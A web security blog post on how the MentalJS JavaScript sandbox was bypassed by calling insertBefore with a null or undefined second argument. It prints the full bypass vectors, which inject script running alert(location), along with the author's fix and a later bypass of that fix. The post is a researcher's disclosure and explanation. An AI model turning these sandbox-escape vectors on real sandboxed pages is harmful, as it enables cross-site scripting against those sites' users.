The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Introducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHPOpera x domain with video tutorialSandboxing and parsing jQuery in 100ms

    MentalJS DOM bypass

    By Gareth Heyes (@hackvertor)

    Published 11 years 2 months ago • Last updated March 23, 2025 • ⏱️ < 1 min read

    ← Back to articles

    Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-

    _=document x =_.createElement('script'); s =_.createElement('style') s.innerHTML = '*/alert(location)//' t=_.createElement('b') t.textContent = '/*' x.insertBefore(t.firstChild, null); x.insertBefore(s, null) _.body.appendChild(x) x =_.createElement('script'); s =_.createElement('style') s.innerHTML = _.getElementsByTagName('script')[2].textContent x.insertBefore(s.firstChild, null) _.body.appendChild(x)

    It can actually be compressed to the following:

    s=document.createElement('script'); s.insertBefore(document.createTextNode('alert(location)'),null); document.body.appendChild(s);

    The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn't see a way to use insertBefore without a null argument to cause another bypass.

    Update...

    @tr3w_ broke my fix :) he used undefined instead of null to bypass my condition and also cleverly used insertBefore with a node that occurs within the script to bypass cleaning the script and inject his code.

    with(document) { s = createElement('script'); s.insertBefore(createTextNode('alert(location)'), [][[]]); body.appendChild(s); }
    with(document) { s = createElement('script'); s.insertBefore(createTextNode('/**/'),null); s.insertBefore(createTextNode('alert(location)'),s.firstChild); }

    ← Back to articles